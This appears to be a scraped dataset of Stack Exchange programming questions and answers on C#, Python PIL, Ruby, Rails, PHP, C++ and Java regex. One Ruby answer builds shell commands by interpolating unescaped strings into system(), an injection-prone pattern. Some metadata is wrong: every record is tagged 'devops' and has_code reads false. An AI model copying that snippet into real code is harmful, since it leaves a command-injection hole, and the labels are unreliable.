{"id": "hf_a29a9a9ae1f7", "question": "<p>I have an IList of type Breadcrumb which is just a lightweight class that has NavigationTitle, NavigationUrl and IsCurrent properties. It is cached on the webserver. I have a method that builds out the current breadcrumb trail up until the first Breadcrumb that has IsCurrent set to true... using the code below. Its very ugly and definitely a quick dirtbag willie solution, but I was curious, can this be easily refactored into LINQ? </p>\n\n<pre><code>IList&lt;Breadcrumb&gt; crumbs = new List&lt;Breadcrumb&gt;();\nbool foundCurrent = false;\nfor (int a = 0; a &lt; cachedCrumbs.Count; a++)\n{\n    crumbs.Add(crumbs[a]);\n    if (foundCurrent)\n    {\n      break;\n    }\n    foundCurrent = (crumbs[a + 1] != null &amp;&amp; ((Breadcrumb)crumbs[a + 1]).IsCurrent);\n}\n</code></pre>\n", "question_body": "", "answer": "First of all, that code doesn't work.  I'm gonna guess that some of those places where you used \"crumbs\" you meant \"cachedCrumbs\".  If so, the code can be reduced to:\n```\n```\nIList<Breadcrumb> crumbs = new List<Breadcrumb>();\nfor (int a = 0; a < cachedCrumbs.Count; a++)\n{\n    crumbs.Add(cachedCrumbs[a]);\n    if (cachedCrumbs[a] != null && cachedCrumbs[a].IsCurrent)\n    {\n          break;\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.393558"}
{"id": "hf_7ee29be72fc4", "question": "<p>I have a device that supports 4-color graphics (much like CGA in the old days).</p>\n\n<p>I wanted to use <a href=\"http://www.pythonware.com/products/pil/\" rel=\"noreferrer\">PIL</a> to read the image and convert it using my 4-color palette (of red, green, yellow, black), but I can't figure out if it's even possible at all.  I found some mailing list archive posts that seem to suggest other people have tried to do so and failed.</p>\n\n<p>A simple python example would be much appreciated!</p>\n\n<p>Bonus points if you add something that then converts the image to a byte string where each byte represents 4 pixels of data (with each two bits representing a color from 0 to 3)</p>\n", "question_body": "", "answer": "First: your four colour palette (black, green, red, yellow) has\nno\nblue component. So, you have to accept that your output image will hardly approximate the input image, unless there is no blue component to start with.\nTry this code:\n```\n```\nimport Image\n\ndef estimate_color(c, bit, c_error):\n    c_new= c -  c_error\n    if c_new > 127:\n        c_bit= bit\n        c_error= 255 - c_new\n    else:\n        c_bit= 0\n        c_error= -c_new\n    return c_bit, c_error\n\ndef image2cga(im):\n    \"Produce a sequence of CGA pixels from image im\"\n    im_width= im.size[0]\n    for index, (r, g, b) in enumerate(im.getdata()):\n        if index % im_width == 0: # start of a line\n            r_error= g_error= 0\n        r_bit, r_error= estimate_color(r, 1, r_error)\n        g_bit, g_error= estimate_color(g, 2, g_error)\n        yield r_bit|g_bit\n\ndef cvt2cga(imgfn):\n    \"Convert an RGB image to (K, R, G, Y) CGA image\"\n    inp_im= Image.open(imgfn) # assume it's RGB\n    out_im= Image.new(\"P\", inp_im.size, None)\n    out_im.putpalette( (\n        0, 0, 0,\n        255, 0, 0,\n        0, 255, 0,\n        255, 255, 0,\n    ) )\n    out_im.putdata(list(image2cga(inp_im)))\n    return out_im\n\nif __name__ == \"__main__\":\n    import sys, os\n\n    for imgfn in sys.argv[1:]:\n        im= cvt2cga(imgfn)\n        dirname, filename= os.path.split(imgfn)\n        name, ext= os.path.splitext(filename)\n        newpathname= os.path.join(dirname, \"cga-%s.png\" % name)\n        im.save(newpathname)\n```\n```\nThis creates a PNG palette image with only the first four palette entries set to your colours. This sample image:\nbecomes\nIt's trivial to take the output of\n```\nimage2cga\n```\n(yields a sequence of 0-3 values) and pack every four values to a byte.\nIf you need help about what the code does, please ask and I will explain.\nEDIT1: Do not reinvent the wheel\nOf course, turns out I was too enthusiastic and —as Thomas discovered— the Image.quantize method can take a palette image as argument and do the quantization with far better results than my ad-hoc method above:\n```\n```\ndef cga_quantize(image):\n    pal_image= Image.new(\"P\", (1,1))\n    pal_image.putpalette( (0,0,0, 0,255,0, 255,0,0, 255,255,0) + (0,0,0)*252)\n    return image.convert(\"RGB\").quantize(palette=pal_image)\n```\n```\nEDIT1, cont: Pack the pixels into bytes\nFor \"added value\", here follows code to produce the packed string (4 pixels per byte):\n```\n```\nimport itertools as it\n\n# setup: create a map with tuples [(0,0,0,0)‥(3,3,3,3)] as keys\n# and values [chr(0)‥chr(255)], because PIL does not yet support\n# 4 colour palette images\n\nTUPLE2CHAR= {}\n\n# Assume (b7, b6) are pixel0, (b5, b4) are pixel1…\n# Call it \"big endian\"\n\nKEY_BUILDER= [\n    (0, 64, 128, 192), # pixel0 value used as index\n    (0, 16, 32, 48), # pixel1\n    (0, 4, 8, 12), # pixel2\n    (0, 1, 2, 3), # pixel3\n]\n# For \"little endian\", uncomment the following line\n## KEY_BUILDER.reverse()\n\n# python2.6 has itertools.product, but for compatibility purposes\n# let's do it verbosely:\nfor ix0, px0 in enumerate(KEY_BUILDER[0]):\n    for ix1, px1 in enumerate(KEY_BUILDER[1]):\n        for ix2, px2 in enumerate(KEY_BUILDER[2]):\n            for ix3, px3 in enumerate(KEY_BUILDER[3]):\n                TUPLE2CHAR[ix0,ix1,ix2,ix3]= chr(px0+px1+px2+px3)\n\n# Another helper function, copied almost verbatim from itertools docs\ndef grouper(n, iterable, padvalue=None):\n    \"grouper(3, 'abcdefg', 'x') --> ('a','b','c'), ('d','e','f'), ('g','x','x')\"\n    return it.izip(*[it.chain(iterable, it.repeat(padvalue, n-1))]*n)\n\n# now the functions\ndef seq2str(seq):\n    \"\"\"Takes a sequence of [0..3] values and packs them into bytes\n    using two bits per value\"\"\"\n    return ''.join(\n        TUPLE2CHAR[four_pixel]\n        for four_pixel in grouper(4, seq, 0))\n\n# and the image related function\n# Note that the following function is correct,\n# but is not useful for Windows 16 colour bitmaps,\n# which start at the *bottom* row…\ndef image2str(img):\n    return seq2str(img.getdata())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.416526"}
{"id": "hf_450383ee4c37", "question": "<p>Please help, I am stuck here ---</p>\n\n<pre><code>irb&gt; a = \"line of text\\n  line two\\n  line three\"\nirb&gt; system(\"cat &gt; test_file &lt;&lt; #{a}\")\ncat: of: No such file or directory\ncat: text: No such file or directory\n=&gt; false\n</code></pre>\n", "question_body": "", "answer": "You need to quote the interpolated parameter:\n```\n```\nsystem(\"cat > test_file << \\\"#{a}\\\"\")\n```\n```\nAnd, cat is expecting a filename, not some text to append to test_file, so, this would work as I think you intended:\n```\n```\nsystem(\"echo \\\"#{a}\\\" >> test_file\")\n```\n```\nIf you want to do this in pure Ruby let me know and I'll give you an example.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.439907"}
{"id": "hf_1a6445e3ad0c", "question": "<p>I am using Ruby on Rails.</p>\n\n<p>I want to create a filter field on a page such that whenever the input field's value changes I filter a list shown below via ajax. (Exaclty like the Users search works in Stackoverflow)</p>\n\n<p>For now, I made it run with a form_remote_tag containing a text_field_tag and a submit_tag, and it filters my list when I push the submit button. I would like to remove the submit button and execute the filtering every time the value of the text input changes. How can I trigger a form submit every time the text in an input field changes?</p>\n\n<p>I tried inside my form</p>\n\n<p><code>&lt;%= text_field_tag (:filter), \"\" , :onchange =&gt; \"alert ('This is a Javascript Alert')\" %&gt;</code></p>\n\n<p>just to get the onchange event, but somehow not even this alert appears...</p>\n", "question_body": "", "answer": "Use\nobserve_field\nhelper with a single input, like the code bellow:\n```\n```\n<%= text_field_tag 'filter' %>\n<%= observe_field 'filter', \n    :url => {:controller => 'your_controller', :action => 'filter'},\n    :frequency => 1.2,\n    :update => 'results',\n    :with => \"'typed_filter=' + $('filter').value\" %>\n```\n```\nAnd then just write a controller that, given a param named 'typed_filter', renders the results, wich will be shown in the element with id 'results' (probably a div).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.463347"}
{"id": "hf_da63dd1b861f", "question": "<p>I find Google's <a href=\"http://labs.google.com/inquotes/\" rel=\"nofollow noreferrer\">In Quotes</a> a really nifty application, and as a CS guy, I have to understand how it works. How do you think it turns news articles into a list of quotes attributed to specific persons?\nSure, there are some mistakes, but their algorithm seems to be smarter than just a simple heuristic or multiple regular expressions. For example, a quote can be attributed to someone even though his/her name was only mentioned in the last paragraph.</p>\n\n<p>Any ideas? Any known paper on the subject?</p>\n", "question_body": "", "answer": "I do not have any paper but some idea. Google take quotes from a set of person. Easy for them with Google News and other media access.\nThey have an other set of subject. Google match subject set with the set of person (both set are finite). The last set is all quote,\nIf you notice, the subject contain 1 word that is highlighted in the quote. So it has a relation between the set of subject and the set of quote for each set of person. Since Google is the master of information, it must be very easy to get a link between all these set.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.487942"}
{"id": "hf_00f1dbd5ecfb", "question": "<p>How can I turn off the wavy red underlines in Netbeans? I don't want to be interrupted while I'm typing, and told that a half finished line of code is wrong.</p>\n", "question_body": "", "answer": "Follow this path if you want to turn them off, (I'm using NeatBeans 5.5.1)\nTools ->\nOptions ->\nAdvanced Options ->\nOpen the \"Editing\" node and click on \"Java sources\" ->\nEnter 0 for the \"Error Annotation Limit\"\nThat will completely turn off the red underlines. You can also change the \"automatic parsing delay\" at the same location if you want a longer pause instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.511714"}
{"id": "hf_7e57de6e83e6", "question": "<p>Perl and PHP do this with backticks. For example,</p>\n\n<pre><code>$output = `ls`;\n</code></pre>\n\n<p>Returns a directory listing. A similar function, <code>system(\"foo\")</code>, returns the operating system return code for the given command foo. I'm talking about a variant that returns whatever foo prints to stdout.</p>\n\n<p>How do other languages do this? Is there a canonical name for this function? (I'm going with \"backtick\"; though maybe I could coin \"syslurp\".)</p>\n", "question_body": "", "answer": "Perl:\n```\n```\n$output = `foo`;\n```\n```\nADDED: This is really a multi-way tie.  The above is also valid PHP, and Ruby, for example, uses the same backtick notation as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.536692"}
{"id": "hf_361056770fe5", "question": "<p>I have a bunch of ASP.NET web pages (that have a standard layout) that are product documentation.  I want to create some sort of combination page that will pull all of the other page content in and concatenate them into one long page.</p>\n\n<p>IFrames won't work because I don't know the size of each page.  I could have the combination page do a ton of #includes, and that would work, but I don't want to have to keep the master update to date (we have a database of page names that can change over time).</p>\n\n<p>Ultimately I'm after something that can get a list of pages, and for each one do the equivalent of a #include for that page into the current page.</p>\n\n<p>I hope that makes sense.  Any thoughts?</p>\n", "question_body": "", "answer": "What does your pages look like?\nI assume it's just plain HTMLs and have a consistent pattern across all pages, no? Like, it has proper HTML markup along with HEAD and BODY and such?\nIn which case you can just read it like you'd read normal text files and do some string parsing on them to extract the part inside BODY tags and then you can just concatenate those and print them out ASP-#include style.\nTo get the actual path name to a file on an ASP.NET website, you can use\n```\nServer.MapPath\n```\n```\n```\nvar actualDiskFilename = Server.MapPath(\"~/somewhere/somepage.html\");\n```\n```\nAll the\n```\nSystem.IO\n```\nclasses work the same in ASP.NET, to fetch a list of files in a virtual directory, you can do:\n```\n```\nvar virtualDir = \"~/somefolder/\";\nvar actualDir = Server.MapPath(virtualDir);\n\nvar files = Directory.GetFiles(actualDir);\n```\n```\nIs that what you're looking for?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.575895"}
{"id": "hf_37b5e82bfb97", "question": "<p>With DWR it is possible to group together several service calls into one single HTTP request :<br>\n<a href=\"http://directwebremoting.org/dwr/browser/engine/batch\" rel=\"noreferrer\">dwr batch feature</a><br><br>\n This feature is very useful to reduce the latency of an ajax application.\nIs there a way to do something similar with GWT / GWT-RPC ?<br>\nThanks for your help</p>\n", "question_body": "", "answer": "GWT doesn't provide a one-step solution for batching several arbitrary RPCs.  However, keep in mind that GWT's automatic serialization makes it quite easy to write both serial and batched versions of each of your RPC methods.  For example, suppose you've defined this RPC:\n```\n```\nFooResponse callFoo(FooRequest request);\n```\n```\nIt's this easy to write a \"batch\" version of the same RPC yourself:\n```\n```\nArrayList<FooResponse> batchCallFoo(ArrayList<FooRequest> requests) {\n  ArrayList<FooResponse> responses = new ArrayList<FooResponse>();\n  for (FooRequest request : requests) {\n    responses.add(callFoo(request));\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.623085"}
{"id": "hf_a7558d9c2039", "question": "<p>I have a PHP class that creates a PNG image on the fly and sends it to browser. PHP manual says that I need to make sure that <em>imagedestroy</em> function is called at end to release the memory. Now, if I weren't using a class, I would have some code like this:</p>\n\n<pre><code>function shutdown_func() \n{\n    global $img;\n    if ($img)\n        imagedestroy($img);\n}\nregister_shutdown_function(\"shutdown_func\");\n</code></pre>\n\n<p>However, I believe that appropriate place for my class would be to place a call to <em>imagedestroy</em> in class' destructor.</p>\n\n<p>I failed to find out if destructors get called the same way shutdown functions does? For example, if execution stops when user presses the STOP button in browser.</p>\n\n<p>Note: whatever you write in your answer, please point to some article or manual page (URL) that supports it.</p>\n", "question_body": "", "answer": "I think one big thing that you have missed is that all the memory PHP has allocated during script execution is freed once the script terminates. Even if the user presses the stop-button, PHP processes the script until it is finished, gives it back to the HTTP daemon to be served to the visitor (or not, depending on how clever the daemon is).\nSo, explicitly freeing up memory at the end of script execution is a bit redundant. Some might argue that it would be a good thing to do, but it's still redundant.\nBut, on the topic of class destructors, they are called whenever the object is destroyed, either explicitly by\n```\nunset()\n```\nor at script completion/termination.\nThe recommendation of the developer explicitly freeing up the memory used in image manipulation is sure just to make absolutely sure not to have a memory leak, as bitmaps can be straining on the memory side of things (height * width * bit depth * 3 (+ 1 if you have an alpha channel))\nTo satisfy your Wikipedian needs:\nhttp://php.net/manual/en/language.oop5.decon.php\nhttp://php.net/manual/en/function.unset.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.647079"}
{"id": "hf_1a705ff7ed14", "question": "<p>That's basically the question, is there a \"right\" way to implement <code>operator&lt;&lt;</code> ?\nReading <a href=\"http://bytes.com/forum/thread170304.html\" rel=\"noreferrer\">this</a> I can see that something like:</p>\n\n<pre><code>friend bool operator&lt;&lt;(obj const&amp; lhs, obj const&amp; rhs);\n</code></pre>\n\n<p>is preferred to something like </p>\n\n<pre><code>ostream&amp; operator&lt;&lt;(obj const&amp; rhs);\n</code></pre>\n\n<p>But I can't quite see why should I use one or the other.</p>\n\n<p>My personal case is:</p>\n\n<pre><code>friend ostream &amp; operator&lt;&lt;(ostream &amp;os, const Paragraph&amp; p) {\n    return os &lt;&lt; p.to_str();\n}\n</code></pre>\n\n<p>But I could probably do:</p>\n\n<pre><code>ostream &amp; operator&lt;&lt;(ostream &amp;os) {\n    return os &lt;&lt; paragraph;\n}\n</code></pre>\n\n<p>What rationale should I base this decision on?</p>\n\n<p><em>Note</em>:</p>\n\n<pre><code> Paragraph::to_str = (return paragraph) \n</code></pre>\n\n<p>where paragraph's a string.</p>\n", "question_body": "", "answer": "You can not do it as a member function, because the implicit\n```\nthis\n```\nparameter is the left hand side of the\n```\n<<\n```\n-operator. (Hence, you would need to add it as a member function to the\n```\nostream\n```\n-class. Not good :)\nCould you do it as a free function without\n```\nfriend\n```\ning it? That's what I prefer, because it makes it clear that this is an integration with\n```\nostream\n```\n, and not a core functionality of your class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.672088"}
{"id": "hf_2a8c63e8eab7", "question": "<p>I'm trying to extract an uploaded zip file and store its contents in the database, one entry per file.  The rubyzip library has nearly no useful documentation.</p>\n\n<p>There is an assets table that has key :string (file name) and data :binary (file contents).</p>\n\n<p>I'm using the rubyzip library, and have made it as far as this:</p>\n\n<pre><code>Zip::ZipFile.open(@file_data.local_path) do |zipfile|\n  zipfile.each do |entry|\n    next if entry.name =~ /__MACOSX/ or entry.name =~ /\\.DS_Store/ or !entry.file?\n\n    asset = self.assets.build\n    asset.key = entry.name\n    asset.data = ??  # what goes here?\n  end\nend\n</code></pre>\n\n<p>How can I set the data from a ZipEntry?  Do I have to use a temp file?</p>\n", "question_body": "", "answer": "It would seem that you can either use the read_local_entry method like this:\n```\n```\nasset.data = entry.read_local_entry {|z| z.read }\n```\n```\nOr, you could save the entry with this method:\n```\n```\ndata = entry.extract \"#{RAILS_ROOT}/#{entry.name}\"\nasset.data = File.read(\"#{RAILS_ROOT}/#{entry.name}\")\n```\n```\nI'm not sure how those will work, but maybe they'll help you find the right method (if this ain't it).\nAnd, one more alternative:\n```\n```\nasset.data = zipfile.file.read(entry.name)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.696001"}
{"id": "hf_e10f1c51764c", "question": "<p>Any python libs for parsing Bind zone files? \nBasically something that will aid in adding/removing zones and records.\nThis needs to work even if someone modifies the zone file by hand so overwriting the zone files every time is not a solution.  </p>\n", "question_body": "", "answer": "See answer above about bicop.\nAs an aside, the Python Package Index at\nhttp://pypi.python.org/pypi\nis a great place to look for Python packages.\nEDIT\n: The below may still be helpful to someone trying to figure out simple parsing, but bicop is apparently an existing solution.\nIf someone has modified the config by hand, and you don't want to overwrite it, does that imply that you wish to insert/remove lines from an existing config, leaving all comments etc intact?  That does prevent parsing then re-outputting the config, but that's a positive as well -- you don't need to fully parse the file to accomplish your goal.\nTo add a record, you might try a simple approach like\n```\n```\n# define zone_you_care_about and line_you_wish_to_insert first, then:\nfor line in bindfile.read():\n    out.write(line + '\\n')\n    if ('zone \"%s\" in' % zone_you_care_about) in line:\n        out.write(line_you_wish_to_insert)\n```\n```\nSimilar code works for removing a line:\n```\n```\n# define zone_you_care_about and relevant_text_to_remove, then:\nfor line in bindfile.read():\n    if not relevant_text_to_remove in line:\n        out.write(line + '\\n')\n```\n```\nYou may get as far as you need with simple snippets of code like this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.766625"}
{"id": "hf_3f20a9a5948b", "question": "<p>this is a question that when programming I always wonder: What to use when we are writing code: </p>\n\n<pre><code>var myFiles = Directory.GetFiles(fullPath);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>string[] myFiles = Directory.GetFiles(fullPath);\n</code></pre>\n\n<p><strong><em>var</em></strong> is new and is a <em>Implicitly Typed Local Variables</em>, so we can only use locally and it has rules like can't be null, etc., but I wonder if we get any advantage of using it \"normally\". </p>\n\n<p>The \"normally\" part says, not in <strong>Anonymous Types</strong>, <strong>Object and Collection Initializers</strong> and <strong>Query Expressions</strong> where that was the intent to use the var anonymous object, so what I mean is... just like the example above.</p>\n\n<p>what are your thoughts?</p>\n", "question_body": "", "answer": "You'll get a huge variety of opinions on this one - from \"use var everywhere\" to \"only use var with anonymous types, where you basically have to.\" I like\nEric Lippert's take on it\n:\nAll code is an abstraction. Is what\n  the code is “really” doing is\n  manipulating data? No. Numbers? Bits?\n  No. Voltages? No. Electrons? Yes, but\n  understanding the code at the level of\n  electrons is a bad idea! The art of\n  coding is figuring out what the right\n  level of abstraction is for the\n  audience.\nIn a high level language there is\n  always this tension between WHAT the\n  code does (semantically) and HOW the\n  code accomplishes it. Maintenance\n  programmers need to understand both\n  the what and the how if they’re going\n  to be successful in making changes.\nThe whole point of LINQ is that it\n  massively de-emphasizes the \"how\" and\n  massively emphasizes the \"what\". By\n  using a query comprehension, the\n  programmer is saying to the future\n  audience \"I believe that you should\n  neither know nor care exactly how this\n  result set is being computed, but you\n  should care very much about what the\n  semantics of the resulting set are.\"\n  They make the code closer to the\n  business process being implemented and\n  farther from the bits and electrons\n  that make it go.\nImplicitly typed locals are just one\n  small way in which you can deemphasize\n  the how and thereby emphasize the\n  what. Whether that is the right thing\n  to do in a particular case is a\n  judgment call. So I tell people that\n  if knowledge of the type is relevant\n  and its choice is crucial to the\n  continued operation of the method,\n  then do not use implicit typing.\n  Explicit typing says \"I am telling you\n  how this works for a reason, pay\n  attention\". Implicit typing says \"it\n  doesn’t matter a bit whether this\n  thing is a List or a\n  Customer[], what matters is that it is\n  a collection of customers.\"\nPersonally I don't\ntend\nto use it if the type isn't reasonably obvious - where I include LINQ queries as being \"reasonably obvious\". I wouldn't do it for\n```\nDirectory.GetFiles\n```\nfor instance, as it's not really obvious that that returns a\n```\nstring[]\n```\ninstead of (say) a\n```\nFileInfo[]\n```\n(or something else entirely) - and that makes a big difference to what you do later.\nIf there's a constructor call on the right hand side of the assignment operator, I'm much more likely to go with\n```\nvar\n```\n: it's blatantly obvious what the type will be. This is particularly handy with complex generic types, e.g.\n```\nDictionary<string,List<int>>\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.802869"}
{"id": "hf_3b3ba36212c7", "question": "<p>I'm thinking of an application that would try to prove the \"<a href=\"http://en.wikipedia.org/wiki/Six_degrees_of_separation\" rel=\"nofollow noreferrer\">Six degrees of separation</a>\" theory with a set of users that are part of a social network.</p>\n\n<p>I would have those elements:</p>\n\n<ol>\n<li>A couple of users for which I'd like to prove the six degrees theory</li>\n<li>For each user, I know the list of friends in the social network</li>\n</ol>\n\n<p>Which is the best algorithm to see if the two users are connected, with which degree and show the eventual steps in the connection?</p>\n", "question_body": "", "answer": "Some additional background material:\nTo solve this problem generally, you'd want to avoid web scraping and other ad-hoc techniques that are specific to one social network.  Instead, you will probably want to look into\nXHTML Friends Network (XFN)\nwhich is a way to use the rel=\"\" attribute of a hyperlink to indicate the relationship between the target of that hyperlink and you. There is also a competing standard called\nFOAF\nwhich uses\nRDF\n.\nThese\nmicroformats\nhave been around for a while, but support for them has grown a great deal just recently.  StackOverflow uses \"me\" in the link on your profile page.  WordPress blogs provide an easy way in the editing interface for the blogroll to add these tags.  Many social sites use these in links between friends to indicate relationships.\nBecause of this, Google has gotten interested in this, and is starting to mine this data.  They have a\nSocial Graph API\nthat can mine both XFN and FOAF data to do exactly some of the things you want to do. I suggest you start there.  The nice thing about Google's API is since they are mining this all over the web, you can widen out your search beyond the specific social network you had in mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.839425"}
{"id": "hf_644f9236634d", "question": "<p>So, I'm writing a Cocoa application that needs to be able to display web content using Opera's rendering engine. This is for a feature, not because I'm an Opera fanboi (I'm not). All I've been able to find on the subject is this <a href=\"http://www.opera.com/pressreleases/en/2003/09/30/\" rel=\"nofollow noreferrer\">press release about Adobe's use of the Opera engine</a>.</p>\n\n<p>Has anyone done this? What's the API like? Are they going to want royalties, payments, an NDA, etc?</p>\n\n<p>Edited to add: This is for a cross-engine web debugging tool. I'm going to be using this alongside WebKit.</p>\n", "question_body": "", "answer": "Adobe has gone to Opera and licensed their software for some (exorbitant?) amount of money. What that probably means is Adobe has access to the library and SDK documentation so they can embed it in their applications. Opera doesn't give its engine away for free as in beer or freedom. It appears there are several B2B opportunities and I'm sure for the right amount of money you can get access to it. More information can be found out at\nhttp://www.opera.com/b2b/\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.932881"}
{"id": "hf_346d591b1373", "question": "<p>Unit testing sounds great to me, but I'm not sure I should spend any time really learning it unless I can convince others that is has significant value.  I have to convince the other programmers and, more importantly, the bean-counters in management, that all the extra time spent learning the testing framework, writing tests, keeping them updated, etc.. will pay for itself, and then some.</p>\n\n<p>What proof is there?  Has anyone actually developed the same software with two separate teams, one using unit testing and the other not, and compared the results?  I doubt it.  Am I just supposed to justify it with, \"Look it up on the Internet, everybody's talking about it, so it must be the right thing to do\"?</p>\n\n<p>Where is the hard evidence that will convince the laymen that unit testing is worth the effort?</p>\n", "question_body": "", "answer": "There are statistics that prove that fixing a bug found in the unit/integration test costs many times less than fixing once it's on the live system (they are based on monitoring thousand of real life projects).\nEdit\n: for example, as pointed out, the book \"\nCode Complete\n\" reports on such studies (paragraph 20.3, \"Relative Effectiveness of Quality Techniques\"). But there is also private research in the consulting field that proves that as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:10.956734"}
{"id": "hf_fc98ed77572c", "question": "<p>A string will be made up of certain symbols (ax,bx,dx,c,acc for example) and numbers.</p>\n\n<p>ex:\nax 5 5\ndx 3 acc\nc ax bx</p>\n\n<p>I want to replace one or all of the symbols (randomly) with another symbol of the same set. ie, replace one of {ax,bx,dx,c,acc} with one of {ax,bx,dx,c,acc}.</p>\n\n<p>replacement example:\nacc 5 5\ndx 3 acc\nc ax bx\nor\nc 5 5\ndx 3 acc\nc ax ax</p>\n\n<p>Is there a way to do this with regexes? In Java? If so, which methods should I use?</p>\n", "question_body": "", "answer": "To answer the first question: no.\nSince you are doing a random replace, regex will not help you, nothing about regex is random. * Since your strings are in an array, you don't need to find them with any pattern matching, so again regex isn't necessary.\n**Edit: the question has been edited so it no longer says the strings are in an array. In this case, assuming they are all in one big string, you might build a regex to find the parts you want to replace, as shown in other answers.*", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.055822"}
{"id": "hf_698db308ffa1", "question": "<p>I have several strings in the rough form:</p>\n\n<pre><code>[some text] [some number] [some more text]\n</code></pre>\n\n<p>I want to extract the text in [some number] using the Java Regex classes.</p>\n\n<p>I know roughly what regular expression I want to use (though all suggestions are welcome). What I'm really interested in are the Java calls to take the regex string and use it on the source data to produce the value of [some number].</p>\n\n<p>EDIT: I should add that I'm only interested in a single [some number] (basically, the first instance). The source strings are short and I'm not going to be looking for multiple occurrences of [some number].</p>\n", "question_body": "", "answer": "Full example:\n```\n```\nprivate static final Pattern p = Pattern.compile(\"^([a-zA-Z]+)([0-9]+)(.*)\");\npublic static void main(String[] args) {\n    // create matcher for pattern p and given string\n    Matcher m = p.matcher(\"Testing123Testing\");\n\n    // if an occurrence if a pattern was found in a given string...\n    if (m.find()) {\n        // ...then you can use group() methods.\n        System.out.println(m.group(0)); // whole matched expression\n        System.out.println(m.group(1)); // first expression from round brackets (Testing)\n        System.out.println(m.group(2)); // second one (123)\n        System.out.println(m.group(3)); // third one (Testing)\n    }\n}\n```\n```\nSince you're looking for the first number, you can use such regexp:\n```\n```\n^\\D+(\\d+).*\n```\n```\nand\n```\nm.group(1)\n```\nwill return you the first number. Note that signed numbers can contain a minus sign:\n```\n```\n^\\D+(-?\\d+).*\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:11.079696"}
